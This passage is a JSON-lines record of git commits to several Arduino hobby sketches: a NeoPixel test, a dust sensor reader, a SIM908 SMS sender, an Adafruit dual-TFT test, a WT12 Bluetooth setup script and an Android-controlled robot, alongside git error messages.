not v2)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(30, PIN, NEO_GRB + NEO_KHZ800);\n\nvoid setup() {\n \/\/ strip.begin();\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n strip.setPixelColor(11, 255, 0, 255);\n strip.show(); \/\/ Initialize all pixels to 'off'\n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Helios.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"736f0b290a0935107822cbd0a0ed496fa7e00663","subject":"tweak pwm blink example for testing","message":"tweak pwm blink example for testing\n","repos":"prpplague\/Userspace-Arduino,prpplague\/Userspace-Arduino,prpplague\/Userspace-Arduino,prpplague\/Userspace-Arduino,bugobliterator\/BUAGI,bugobliterator\/BUAGI,bugobliterator\/BUAGI,bugobliterator\/BUAGI,bugobliterator\/BUAGI,bugobliterator\/BUAGI","old_file":"arduino-makefile\/examples\/PWM\/PWM.ino","new_file":"arduino-makefile\/examples\/PWM\/PWM.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/prpplague\/Userspace-Arduino.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"b228d4d4c78921b7f095ec0597829ea359bb9da0","subject":"Adding old, initial dust sensor sketch","message":"Adding old, initial dust sensor sketch\n","repos":"dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs,dotmpe\/Arduino-docs","old_file":"Mpe\/Prototype\/sketch_feb06a_Sharp_dust_sensor\/sketch_feb06a_Sharp_dust_sensor.ino","new_file":"Mpe\/Prototype\/sketch_feb06a_Sharp_dust_sensor\/sketch_feb06a_Sharp_dust_sensor.ino","new_contents":"int dustVal = 0;\n\nint dustPin = 2;\nint ledPin = 6;\n\n\/\/int delayTime = 280;\nint delayTime2 = 40;\n\nint offTime = 9680;\nint cnt = 0;\n\nunsigned long lastMeasure;\nunsigned long delayTime;\n\nvoid setup(){\n Serial.begin(57600);\n pinMode(ledPin,OUTPUT);\n}\n\nvoid measure() {\/*\n delayTime = offTime;\n if (lastMeasure) {\n delayTime -= (millis()*10) - lastMeasure;\n }\n delayMicroseconds(delayTime);*\/\n \n \/\/ ledPower is any digital pin on the arduino connected to Pin 3 on the sensor\n digitalWrite(ledPin, LOW); \/\/ power on the LED\u0153\n delayMicroseconds(delayTime);\n dustVal=analogRead(dustPin); \/\/ read the dust value via pin 5 on the sensor\n delayMicroseconds(delayTime2);\n digitalWrite(ledPin, HIGH); \/\/ turn the LED off\n \/\/lastMeasure = millis() * 10;\n delayMicroseconds(offTime);\n}\n\nvoid loop() {\n measure();\n \/\/cnt += 1;\n \/\/if (cnt % 25 == 0)\n Serial.println(dustVal);\n \/\/delay(2);\n \/\/delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Mpe\/Prototype\/sketch_feb06a_Sharp_dust_sensor\/sketch_feb06a_Sharp_dust_sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"17f00105af10a7ade33cb8bb311fc0f26109e321","subject":"Version 1","message":"Version 1\n\nVersion 1\n","repos":"KermEd\/Arduino","old_file":"SIM908_from_900\/SIM908_from_900.ino","new_file":"SIM908_from_900\/SIM908_from_900.ino","new_contents":"\/\/ Based on the 900 sim on cooking-hacks.com by Alejandro Gallego \n\/\/ Reworked from from Serial to Software Serial and reformulated for GPS by Lloyd Summers\n\n#include <SoftwareSerial.h>\n\nint txPin = 11;\nint rxPin = 10;\nint modGSMPin = 8;\nint modGPSPin = 7;\nint pinDelay = 3000;\nint8_t answer;\n\nchar aux_str[30];\nchar phone_number[] = \"4036900707\";\n\nSoftwareSerial myGSM(rxPin, txPin);\n\nvoid setup() {\n \n \/\/ put your setup code here, to run once:\n pinMode(txPin, OUTPUT);\n pinMode(rxPin, INPUT); \/\/ used to turn on and off GSM\n pinMode(modGSMPin, OUTPUT);\n pinMode(modGPSPin, OUTPUT);\n\n Serial.begin(115200);\n Serial.println(\"Initializing...\");\n\n myGSM.begin(9600);\n powerOnGSM();\n\n Serial.println(\"Connecting...\"); \/\/ checks for connection I believe\n while ((sendATcommand(\"AT+CREG?\", \"+CREG: 0,1\", 500) ||\n sendATcommand(\"AT+CREG?\", \"+CREG: 0,5\", 500)) == 0); \n \/\/ 0 = not registered, not searching\n \/\/ 1 = registered on home network\n \/\/ 2 = not registered, but searching\n \/\/ 3 = registration denied\n \/\/ 4 = unknown (out of coverage?)\n \/\/ 5 = roaming, registered\n \/\/ 6 = SMS only, home network\n \/\/ 7 = SMS only, roaming\n \/\/ 8 = EMS\n \/\/ 9 = CSFB not preferred, home network\n \/\/ 10 = CSBFB not preferred, roaming \n \n sendATcommand(\"AT+CREG=?\", \"OK\",1000); \/\/ verifies network list\n sendATcommand(\"AT+GSN\",\"OK\",5000); \/\/ IEMI\n sendATcommand(\"ATX4\",\"OK\",5000); \/\/ Listen for dialtone + busy signal when dialing\n \n delay(1000);\n \n sendSMS(\"This is a test\",\"4036900707\"); \/\/ Test SMS\n \n hangUp();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n\nvoid hangUp() {\n sendATcommand(\"ATH\", \"OK\", 3000);\n}\n\nvoid sendSMS(char *message, char *number) {\n Serial.println(\"Sending SMS...\");\n sendATcommand(\"AT+CMGF=1\", \"OK\", 1000); \/\/ prep SMS mode\n \/\/ sprintf(aux_str,\"AT+CMGS=\\\"%S\\\"\", number); \n \/\/ answer = sendATcommand(aux_str,\">\", 2000);\n answer = sendATcommand(\"AT+CMGS=\\\"4036900707\\\"\",\"OK\",1000);\n \n if (answer == 1) {\n \/\/ myGSM.println(message);\n myGSM.println(\"Test message.\");\n myGSM.write(0x1A);\n answer = sendATcommand(\"\", \"OK\", 20000);\n if (answer == 1) {\n Serial.println(\"Sent.\");\n } else {\n Serial.println(\"Error\");\n }\n } else {\n Serial.print(\"Error \");\n Serial.println(answer, DEC);\n }\n}\n\nvoid dial(char *number) {\n Serial.println(\"Dialing phone number...\");\n sprintf(aux_str, \"ATD%s;\", number);\n sendATcommand(aux_str, \"OK\", 10000); \/\/ dial\n}\n\nvoid powerOnGSM() {\n uint8_t answer = 0;\n\n \/\/ check if the module is started\n answer = sendATcommand(\"AT\", \"OK\", 5000);\n \n if (answer == 0) {\n \/\/ Send power on pulse\n digitalWrite(modGPSPin, LOW);\n digitalWrite(modGSMPin, HIGH);\n delay(pinDelay);\n \/\/digitalWrite(modPin, LOW);\n\n \/\/ wait for answer\n while (answer == 0 ) {\n answer = sendATcommand(\"AT\", \"OK\", 2000);\n }\n }\n}\n\nint8_t sendATcommand(char* ATcommand, char* expected_answer, unsigned int timeout) {\n uint8_t x = 0, answer = 0;\n char response[100];\n unsigned long previous;\n memset(response, '\\0', 100); \/\/ initalize string\n delay(100);\n\n while (myGSM.available() > 0) {\n myGSM.read(); \/\/ clears the buffer\n }\n\n myGSM.println(ATcommand);\n \/\/ Serial.println(ATcommand);\n\n x = 0;\n previous = millis();\n\n do {\n if (myGSM.available() != 0) {\n response[x] = myGSM.read();\n x++;\n if (strstr(response, expected_answer) != NULL) {\n answer = 1;\n }\n }\n } while ((answer == 0) && ((millis() - previous) < timeout));\n\n Serial.println(response);\n return answer;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SIM908_from_900\/SIM908_from_900.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"cb79a6ccca2be251c86429365432540139c06fc6","subject":"Create tft-test.ino","message":"Create tft-test.ino\n\nFirst working draft running 2 TFT LCD screens with text inversion off the same Arduino Mega. (Pro tip: hook RST of each TFT LCD to the Mega's RESET pin)\n","repos":"homechicken\/pinball","old_file":"Arduino\/tft-test\/tft-test.ino","new_file":"Arduino\/tft-test\/tft-test.ino","new_contents":"\/**************************************************************************\n This is a library for several Adafruit displays based on ST77* drivers.\n\n Works with the Adafruit 1.8\" TFT Breakout w\/SD card\n ----> http:\/\/www.adafruit.com\/products\/358\n The 1.8\" TFT shield\n ----> https:\/\/www.adafruit.com\/product\/802\n The 1.44\" TFT breakout\n ----> https:\/\/www.adafruit.com\/product\/2088\n The 1.14\" TFT breakout\n ----> https:\/\/www.adafruit.com\/product\/4383\n The 1.3\" TFT breakout\n ----> https:\/\/www.adafruit.com\/product\/4313\n The 1.54\" TFT breakout\n ----> https:\/\/www.adafruit.com\/product\/3787\n The 1.69\" TFT breakout\n ----> https:\/\/www.adafruit.com\/product\/5206\n The 2.0\" TFT breakout\n ----> https:\/\/www.adafruit.com\/product\/4311\n as well as Adafruit raw 1.8\" TFT display\n ----> http:\/\/www.adafruit.com\/products\/618\n\n Check out the links above for our tutorials and wiring diagrams.\n These displays use SPI to communicate, 4 or 5 pins are required to\n interface (RST is optional).\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries.\n MIT license, all text above must be included in any redistribution\n **************************************************************************\/\n\n#include <Adafruit_GFX.h> \/\/ Core graphics library\n#include <Adafruit_ST7735.h> \/\/ Hardware-specific library for ST7735\n#include <Adafruit_ST7789.h> \/\/ Hardware-specific library for ST7789\n#include <SPI.h>\n\n#if defined(ARDUINO_FEATHER_ESP32) \/\/ Feather Huzzah32\n #define TFT_CS 14\n #define TFT_RST 15\n #define TFT_DC 32\n\n#elif defined(ESP8266)\n #define TFT_CS 4\n #define TFT_RST 16 \n #define TFT_DC 5\n\n#else\n \/\/ For the breakout board, you can use any 2 or 3 pins.\n \/\/ These pins will also work for the 1.8\" TFT shield.\n #define TFT_CS 10\n #define TFT_RST 9 \/\/ Or set to -1 and connect to Arduino RESET pin\n #define TFT_DC 8\n#endif\n\n\/\/ OPTION 1 (recommended) is to use the HARDWARE SPI pins, which are unique\n\/\/ to each board and not reassignable. For Arduino Uno: MOSI = pin 11 and\n\/\/ SCLK = pin 13. This is the fastest mode of operation and is required if\n\/\/ using the breakout board's microSD card.\n\n\/\/ For 1.44\" and 1.8\" TFT with ST7735 use:\nAdafruit_ST7735 tft = Adafruit_ST7735(TFT_CS, TFT_DC, TFT_RST);\nAdafruit_ST7735 tft2 = Adafruit_ST7735(7, TFT_DC, TFT_RST);\n\n\/\/ For 1.14\", 1.3\", 1.54\", 1.69\", and 2.0\" TFT with ST7789:\n\/\/Adafruit_ST7789 tft = Adafruit_ST7789(TFT_CS, TFT_DC, TFT_RST);\n\n\n\/\/ OPTION 2 lets you interface the display using ANY TWO or THREE PINS,\n\/\/ tradeoff being that performance is not as fast as hardware SPI above.\n\/\/#define TFT_MOSI 11 \/\/ Data out\n\/\/#define TFT_SCLK 13 \/\/ Clock out\n\n\/\/ For ST7735-based displays, we will use this call\n\/\/Adafruit_ST7735 tft = Adafruit_ST7735(TFT_CS, TFT_DC, TFT_MOSI, TFT_SCLK, TFT_RST);\n\n\/\/ OR for the ST7789-based displays, we will use this call\n\/\/Adafruit_ST7789 tft = Adafruit_ST7789(TFT_CS, TFT_DC, TFT_MOSI, TFT_SCLK, TFT_RST);\n\n\nfloat p = 3.1415926;\n\nvoid setup(void) {\n Serial.begin(9600);\n Serial.print(F(\"Hello! ST77xx TFT Test\"));\n\n \/\/ Use this initializer if using a 1.8\" TFT screen:\n \/\/tft.initR(INITR_BLACKTAB); \/\/ Init ST7735S chip, black tab\n\n \/\/ OR use this initializer if using a 1.8\" TFT screen with offset such as WaveShare:\n tft.initR(INITR_GREENTAB); \/\/ Init ST7735S chip, green tab\n tft2.initR(INITR_GREENTAB);\n\n \/\/ OR use this initializer (uncomment) if using a 1.44\" TFT:\n \/\/tft.initR(INITR_144GREENTAB); \/\/ Init ST7735R chip, green tab\n\n \/\/ OR use this initializer (uncomment) if using a 0.96\" 160x80 TFT:\n \/\/tft.initR(INITR_MINI160x80); \/\/ Init ST7735S mini display\n\n \/\/ OR use this initializer (uncomment) if using a 1.3\" or 1.54\" 240x240 TFT:\n \/\/tft.init(240, 240); \/\/ Init ST7789 240x240\n\n \/\/ OR use this initializer (uncomment) if using a 1.69\" 280x240 TFT:\n \/\/tft.init(240, 280); \/\/ Init ST7789 280x240\n\n \/\/ OR use this initializer (uncomment) if using a 2.0\" 320x240 TFT:\n \/\/tft.init(240, 320); \/\/ Init ST7789 320x240\n\n \/\/ OR use this initializer (uncomment) if using a 1.14\" 240x135 TFT:\n \/\/tft.init(135, 240); \/\/ Init ST7789 240x135\n \n \/\/ OR use this initializer (uncomment) if using a 1.47\" 172x320 TFT:\n \/\/tft.init(172, 320); \/\/ Init ST7789 172x320\n\n \/\/ SPI speed defaults to SPI_DEFAULT_FREQ defined in the library, you can override it here\n \/\/ Note that speed allowable depends on chip and quality of wiring, if you go too fast, you\n \/\/ may end up with a black screen some times, or all the time.\n \/\/tft.setSPISpeed(40000000);\n\n Serial.println(F(\"Initialized\"));\n\n uint16_t time = millis();\n tft.fillScreen(ST77XX_BLACK);\n tft2.fillScreen(ST77XX_BLACK);\n time = millis() - time;\n\n Serial.println(time, DEC);\n delay(500);\n\n \/\/ large block of text\n tft.fillScreen(ST77XX_BLACK);\n tft2.fillScreen(ST77XX_BLACK);\n testdrawtext(\"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Curabitur adipiscing ante sed nibh tincidunt feugiat. Maecenas enim massa, fringilla sed malesuada et, malesuada sit amet turpis. Sed porttitor neque ut ante pretium vitae malesuada nunc bibendum. Nullam aliquet ultrices massa eu hendrerit. Ut sed nisi lorem. In vestibulum purus a tortor imperdiet posuere. \", ST77XX_WHITE);\n delay(1000);\n\/*\n \/\/ tft print function!\n tftPrintTest();\n delay(4000);\n\n \/\/ a single pixel\n tft.drawPixel(tft.width()\/2, tft.height()\/2, ST77XX_GREEN);\n delay(500);\n\n \/\/ line draw test\n testlines(ST77XX_YELLOW);\n delay(500);\n\n \/\/ optimized lines\n testfastlines(ST77XX_RED, ST77XX_BLUE);\n delay(500);\n\n testdrawrects(ST77XX_GREEN);\n delay(500);\n\n testfillrects(ST77XX_YELLOW, ST77XX_MAGENTA);\n delay(500);\n\n tft.fillScreen(ST77XX_BLACK);\n testfillcircles(10, ST77XX_BLUE);\n testdrawcircles(10, ST77XX_WHITE);\n delay(500);\n\n testroundrects();\n delay(500);\n\n testtriangles();\n delay(500);\n\n mediabuttons();\n delay(500);\n\n Serial.println(\"done\");\n delay(1000);\n *\/\n}\n\nvoid loop() {\n tft.invertDisplay(true);\n tft2.invertDisplay(true);\n delay(500);\n tft.invertDisplay(false);\n tft2.invertDisplay(false);\n delay(500);\n}\n\nvoid testlines(uint16_t color) {\n tft.fillScreen(ST77XX_BLACK);\n for (int16_t x=0; x < tft.width(); x+=6) {\n tft.drawLine(0, 0, x, tft.height()-1, color);\n delay(0);\n }\n for (int16_t y=0; y < tft.height(); y+=6) {\n tft.drawLine(0, 0, tft.width()-1, y, color);\n delay(0);\n }\n\n tft.fillScreen(ST77XX_BLACK);\n for (int16_t x=0; x < tft.width(); x+=6) {\n tft.drawLine(tft.width()-1, 0, x, tft.height()-1, color);\n delay(0);\n }\n for (int16_t y=0; y < tft.height(); y+=6) {\n tft.drawLine(tft.width()-1, 0, 0, y, color);\n delay(0);\n }\n\n tft.fillScreen(ST77XX_BLACK);\n for (int16_t x=0; x < tft.width(); x+=6) {\n tft.drawLine(0, tft.height()-1, x, 0, color);\n delay(0);\n }\n for (int16_t y=0; y < tft.height(); y+=6) {\n tft.drawLine(0, tft.height()-1, tft.width()-1, y, color);\n delay(0);\n }\n\n tft.fillScreen(ST77XX_BLACK);\n for (int16_t x=0; x < tft.width(); x+=6) {\n tft.drawLine(tft.width()-1, tft.height()-1, x, 0, color);\n delay(0);\n }\n for (int16_t y=0; y < tft.height(); y+=6) {\n tft.drawLine(tft.width()-1, tft.height()-1, 0, y, color);\n delay(0);\n }\n}\n\nvoid testdrawtext(char *text, uint16_t color) {\n tft.setCursor(0, 0);\n tft.setTextColor(color);\n tft.setTextWrap(true);\n tft.print(text);\n\n tft2.setCursor(0, 0);\n tft2.setTextColor(color);\n tft2.setTextWrap(true);\n tft2.print(text);\n}\n\nvoid testfastlines(uint16_t color1, uint16_t color2) {\n tft.fillScreen(ST77XX_BLACK);\n for (int16_t y=0; y < tft.height(); y+=5) {\n tft.drawFastHLine(0, y, tft.width(), color1);\n }\n for (int16_t x=0; x < tft.width(); x+=5) {\n tft.drawFastVLine(x, 0, tft.height(), color2);\n }\n}\n\nvoid testdrawrects(uint16_t color) {\n tft.fillScreen(ST77XX_BLACK);\n for (int16_t x=0; x < tft.width(); x+=6) {\n tft.drawRect(tft.width()\/2 -x\/2, tft.height()\/2 -x\/2 , x, x, color);\n }\n}\n\nvoid testfillrects(uint16_t color1, uint16_t color2) {\n tft.fillScreen(ST77XX_BLACK);\n for (int16_t x=tft.width()-1; x > 6; x-=6) {\n tft.fillRect(tft.width()\/2 -x\/2, tft.height()\/2 -x\/2 , x, x, color1);\n tft.drawRect(tft.width()\/2 -x\/2, tft.height()\/2 -x\/2 , x, x, color2);\n }\n}\n\nvoid testfillcircles(uint8_t radius, uint16_t color) {\n for (int16_t x=radius; x < tft.width(); x+=radius*2) {\n for (int16_t y=radius; y < tft.height(); y+=radius*2) {\n tft.fillCircle(x, y, radius, color);\n }\n }\n}\n\nvoid testdrawcircles(uint8_t radius, uint16_t color) {\n for (int16_t x=0; x < tft.width()+radius; x+=radius*2) {\n for (int16_t y=0; y < tft.height()+radius; y+=radius*2) {\n tft.drawCircle(x, y, radius, color);\n }\n }\n}\n\nvoid testtriangles() {\n tft.fillScreen(ST77XX_BLACK);\n uint16_t color = 0xF800;\n int t;\n int w = tft.width()\/2;\n int x = tft.height()-1;\n int y = 0;\n int z = tft.width();\n for(t = 0 ; t <= 15; t++) {\n tft.drawTriangle(w, y, y, x, z, x, color);\n x-=4;\n y+=4;\n z-=4;\n color+=100;\n }\n}\n\nvoid testroundrects() {\n tft.fillScreen(ST77XX_BLACK);\n uint16_t color = 100;\n int i;\n int t;\n for(t = 0 ; t <= 4; t+=1) {\n int x = 0;\n int y = 0;\n int w = tft.width()-2;\n int h = tft.height()-2;\n for(i = 0 ; i <= 16; i+=1) {\n tft.drawRoundRect(x, y, w, h, 5, color);\n x+=2;\n y+=3;\n w-=4;\n h-=6;\n color+=1100;\n }\n color+=100;\n }\n}\n\nvoid tftPrintTest() {\n tft.setTextWrap(false);\n tft.fillScreen(ST77XX_BLACK);\n tft.setCursor(0, 30);\n tft.setTextColor(ST77XX_RED);\n tft.setTextSize(1);\n tft.println(\"Hello World!\");\n tft.setTextColor(ST77XX_YELLOW);\n tft.setTextSize(2);\n tft.println(\"Hello World!\");\n tft.setTextColor(ST77XX_GREEN);\n tft.setTextSize(3);\n tft.println(\"Hello World!\");\n tft.setTextColor(ST77XX_BLUE);\n tft.setTextSize(4);\n tft.print(1234.567);\n delay(1500);\n tft.setCursor(0, 0);\n tft.fillScreen(ST77XX_BLACK);\n tft.setTextColor(ST77XX_WHITE);\n tft.setTextSize(0);\n tft.println(\"Hello World!\");\n tft.setTextSize(1);\n tft.setTextColor(ST77XX_GREEN);\n tft.print(p, 6);\n tft.println(\" Want pi?\");\n tft.println(\" \");\n tft.print(8675309, HEX); \/\/ print 8,675,309 out in HEX!\n tft.println(\" Print HEX!\");\n tft.println(\" \");\n tft.setTextColor(ST77XX_WHITE);\n tft.println(\"Sketch has been\");\n tft.println(\"running for: \");\n tft.setTextColor(ST77XX_MAGENTA);\n tft.print(millis() \/ 1000);\n tft.setTextColor(ST77XX_WHITE);\n tft.print(\" seconds.\");\n}\n\nvoid mediabuttons() {\n \/\/ play\n tft.fillScreen(ST77XX_BLACK);\n tft.fillRoundRect(25, 10, 78, 60, 8, ST77XX_WHITE);\n tft.fillTriangle(42, 20, 42, 60, 90, 40, ST77XX_RED);\n delay(500);\n \/\/ pause\n tft.fillRoundRect(25, 90, 78, 60, 8, ST77XX_WHITE);\n tft.fillRoundRect(39, 98, 20, 45, 5, ST77XX_GREEN);\n tft.fillRoundRect(69, 98, 20, 45, 5, ST77XX_GREEN);\n delay(500);\n \/\/ play color\n tft.fillTriangle(42, 20, 42, 60, 90, 40, ST77XX_BLUE);\n delay(50);\n \/\/ pause color\n tft.fillRoundRect(39, 98, 20, 45, 5, ST77XX_RED);\n tft.fillRoundRect(69, 98, 20, 45, 5, ST77XX_RED);\n \/\/ play color\n tft.fillTriangle(42, 20, 42, 60, 90, 40, ST77XX_GREEN);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/tft-test\/tft-test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"64fb720c5e93477a20f756000fb9464035d31eff","subject":"New WT12 preparation sketch for reset\/config for 38400 baud","message":"New WT12 preparation sketch for reset\/config for 38400 baud\n","repos":"jrowberg\/keyglove,jrowberg\/keyglove,jrowberg\/keyglove,jrowberg\/keyglove,jrowberg\/keyglove","old_file":"wt12_prep\/wt12_prep.ino","new_file":"wt12_prep\/wt12_prep.ino","new_contents":"HardwareSerial Serial1 = HardwareSerial();\n\nvoid setup() {\n Serial.begin(115200);\n\n Serial.println(\"The WT12 Prep sketch will attempt to communicate with the WT12 and set\");\n Serial.println(\"necessary configuration options for Keyglove operation, finishing up by\");\n Serial.println(\"setting the baud rate to 38400 instead of the the default. If successful,\");\n Serial.println(\"this sketch will not run a second time since the baud rate will be\");\n Serial.println(\"mismatched.\\r\\n\");\n Serial.println(\"Note that you should see responses from the WT12 if the sketch is\");\n Serial.println(\"communicating correctly. If you see binary or gibberish, the baud rate\");\n Serial.println(\"is already mismatched.\\r\\n\");\n Serial.println(\"Enter '1' to try 115200 baud, or '2' to use 38400 to perform a factory\");\n Serial.println(\"reset only without modifying settings. Entering '2' will require you to\");\n Serial.println(\"run the sketch again and enter '1' to finish the preparation.\\r\\n\");\n\n while (Serial.available());\n uint8_t ch;\n do { ch = Serial.read(); } while (ch != '1' && ch != '2');\n\n if (ch == '1') {\n Serial1.begin(115200);\n Serial.println(\"Resetting iWRAP to factory defaults...\");\n Serial1.print(\"\\r\\nSET RESET\\r\\n\");\n Serial1.flush();\n delay(3000);\n while (Serial1.available()) Serial.print((char)Serial1.read());\n Serial.println(\"\");\n \n Serial.println(\"Setting device name...\");\n Serial1.print(\"SET BT NAME Keyglove\\r\\n\");\n Serial1.flush();\n delay(500);\n while (Serial1.available()) Serial.print((char)Serial1.read());\n Serial.println(\"\");\n \n Serial.println(\"Setting device identity...\");\n Serial1.print(\"SET BT IDENT BT:47 f000 4.0.0 Keyglove Input Device\\r\\n\");\n Serial1.flush();\n delay(500);\n while (Serial1.available()) Serial.print((char)Serial1.read());\n Serial.println(\"\");\n \n Serial.println(\"Setting device class to keyboard\/mouse...\");\n Serial1.print(\"SET BT CLASS 005C0\\r\\n\");\n Serial1.flush();\n delay(500);\n while (Serial1.available()) Serial.print((char)Serial1.read());\n Serial.println(\"\");\n \n Serial.println(\"Setting Secure Simple Pairing (SSP) mode to 3\/0...\");\n Serial1.print(\"SET BT SSP 3 0\\r\\n\");\n Serial1.flush();\n delay(500);\n while (Serial1.available()) Serial.print((char)Serial1.read());\n Serial.println(\"\");\n \n Serial.println(\"Enabling GPIO7 toggling on Carrier Detect (link active mode)...\");\n Serial1.print(\"SET CONTROL CD 80 0\\r\\n\");\n Serial1.flush();\n delay(500);\n while (Serial1.available()) Serial.print((char)Serial1.read());\n Serial.println(\"\");\n \n Serial.println(\"Enabling GPIO6 DTR detection for entering command mode (ESCAPE char disabled)...\");\n Serial1.print(\"SET CONTROL ESCAPE - 40 1\\r\\n\");\n Serial1.flush();\n delay(500);\n while (Serial1.available()) Serial.print((char)Serial1.read());\n Serial.println(\"\");\n \n Serial.println(\"Changing baud rate to 38400...sketch will end after this. Bye!\");\n Serial1.print(\"SET CONTROL BAUD 38400,8n1\\r\\n\");\n Serial1.flush();\n delay(100);\n } else {\n Serial1.begin(38400);\n Serial.println(\"Resetting iWRAP to factory defaults...sketch will end after this. Bye!\");\n Serial1.print(\"\\r\\nSET RESET\\r\\n\");\n Serial1.flush();\n }\n}\n\nvoid loop() {\n \/\/ nothing to do here\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'wt12_prep\/wt12_prep.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"baeef3e993b35bba766f12e3b4d66842791fe8f3","subject":"Robotcontrol","message":"Robotcontrol\n\nRobotcontrol with android, still needs to be edited\n","repos":"sagargarg\/barbot","old_file":"RobotControl\/RobotControl.ino","new_file":"RobotControl\/RobotControl.ino","new_contents":"#include <MeetAndroid.h>\n#include <Servo.h>\nServo myservo;\n\n#define LEFTSIDE_NEG 2\n#define LEFTSIDE_POS 3\n#define RIGHTSIDE_NEG 6\n#define RIGHTSIDE_POS 7\n#define TRIGGER_PIN 8\n#define ECHO_PIN 12\n\nMeetAndroid meetAndroid;\n\nvoid setup(){\n \/* myservo.attach(11);\n int pos = myservo.read();\n \/\/set servo at to 180 degrees to begin with\n\/\/ while (pos != 180) {\n\/\/ myservo.write(pos);\n\/\/ delay(15);\n\/\/ pos++;\n}*\/\n \n \n \n Serial.begin(9600); \n \n meetAndroid.registerFunction(forward, 'w');\n meetAndroid.registerFunction(backward, 's');\n meetAndroid.registerFunction(leftTurn, 'a');\n meetAndroid.registerFunction(rightTurn, 'd');\n meetAndroid.registerFunction(stopIt, 'x');\n\n \n pinMode(LEFTSIDE_NEG, OUTPUT);\n pinMode(LEFTSIDE_POS, OUTPUT);\n pinMode(RIGHTSIDE_NEG, OUTPUT);\n pinMode(RIGHTSIDE_POS, OUTPUT);\n \n}\n\n\nvoid loop(){\n \/\/meetAndroid.receive();\n \n \/\/while (getSonar() > 30) {\n forward2();\n \/\/}\n \n \/\/while (getSonar() < 30) {\n \/\/rightTurn2();\n \/\/delay(50);\n \/\/}\n \n \n delay(100);\n \n}\n\nvoid forward(byte flag, byte numOfValues)\n{\n analogWrite(LEFTSIDE_POS, meetAndroid.getInt());\n analogWrite(RIGHTSIDE_POS,meetAndroid.getInt());\n analogWrite(LEFTSIDE_NEG,0);\n analogWrite(LEFTSIDE_NEG,0);\n}\n\nvoid forward2()\n{\n analogWrite(LEFTSIDE_POS, 255);\n analogWrite(RIGHTSIDE_POS, 255);\n analogWrite(LEFTSIDE_NEG,255);\n analogWrite(LEFTSIDE_NEG,255);\n}\n\nvoid backward(byte flag, byte numOfValues)\n{\n analogWrite(LEFTSIDE_POS,0);\n analogWrite(RIGHTSIDE_POS,0);\n analogWrite(LEFTSIDE_NEG,meetAndroid.getInt());\n analogWrite(LEFTSIDE_NEG,meetAndroid.getInt()); \n}\n\n\nvoid stopIt(byte flag, byte numOfValues)\n{\n analogWrite(LEFTSIDE_POS,meetAndroid.getInt());\n analogWrite(RIGHTSIDE_POS,meetAndroid.getInt());\n analogWrite(LEFTSIDE_NEG,meetAndroid.getInt());\n analogWrite(RIGHTSIDE_NEG,meetAndroid.getInt()); \n}\n\nvoid leftTurn(byte flag, byte numOfValues){\n analogWrite(LEFTSIDE_POS,0);\n analogWrite(LEFTSIDE_NEG,meetAndroid.getInt());\n analogWrite(RIGHTSIDE_POS,meetAndroid.getInt());\n analogWrite(RIGHTSIDE_NEG,0);\n Serial.print(meetAndroid.getInt());\n}\n\nvoid rightTurn(byte flag, byte numOfValues){\n analogWrite(LEFTSIDE_POS,meetAndroid.getInt());\n analogWrite(LEFTSIDE_NEG,0);\n analogWrite(RIGHTSIDE_POS,0);\n analogWrite(RIGHTSIDE_NEG,meetAndroid.getInt()); \n}\n\nvoid rightTurn2(){\n analogWrite(LEFTSIDE_POS, 255);\n analogWrite(LEFTSIDE_NEG,0);\n analogWrite(RIGHTSIDE_POS,0);\n analogWrite(RIGHTSIDE_NEG, 255); \n}\n\nint getSonar(){\n int duration,distance;\n \n duration = pulseIn(ECHO_PIN,HIGH);\n distance = (duration\/2)\/29.1;\n \n return distance;\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RobotControl\/RobotControl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ac42b02b68c552d794e008880d780b3f58d70734","subject":"verification by renaming \u2026","message":"verification by renaming \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"1cbc68fa55f0f015e0fc3d2bf9bd0b7c3835d0fc","subject":"Add arduino serial test sketch","message":"Add arduino serial test sketch","repos":"helmeligi\/Arduino-Serial-to-Java-Application","old_file":"Arduino-Serial-Sketch\/run_serial_test\/run_serial_test.ino","new_file":"Arduino-Serial-Sketch\/run_serial_test\/run_serial_test.ino","new_contents":"void setup() {\n Serial.begin(9600);\n Serial.println(\"Application 